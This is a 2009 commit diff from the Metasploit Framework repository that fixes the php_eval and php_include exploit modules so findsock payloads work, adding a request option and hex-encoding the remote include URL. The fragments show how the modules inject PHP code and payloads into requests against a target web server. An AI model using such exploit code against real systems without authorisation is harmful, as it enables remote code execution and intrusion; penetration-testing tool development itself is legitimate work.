make php findsock work again for php_eval and php_include

git-svn-id: file:///home/svn/framework3/trunk@6678 4d416f70-5f16-0410-b530-b9f4589650da
unstable
James Lee 2009-06-20 05:50:52 +00:00
parent 1fba3f678b
commit bc037bbbac
2 changed files with 8 additions and 3 deletions

View File

@ -65,6 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote
uri = datastore['URIPATH'].sub("!CODE!", Rex::Text.uri_encode(stub))
response = send_request_raw({
'global' => true,
'uri' => uri,
'headers' => {
headername => payload.encoded,

View File

@ -58,9 +58,13 @@ class Metasploit3 < Msf::Exploit::Remote
# very short timeout because the request may never return if we're
# sending a socket payload
timeout = 0.01
uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.uri_encode(php_include_url))
uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.to_hex(php_include_url, "%"))
print_status("Trying uri #{uri}")
response = send_request_raw({ 'uri' => uri },timeout)
# The option {'global' => true} is required to make findsock payloads work
response = send_request_raw( {
'global' => true,
'uri' => uri,
},timeout)
handler
end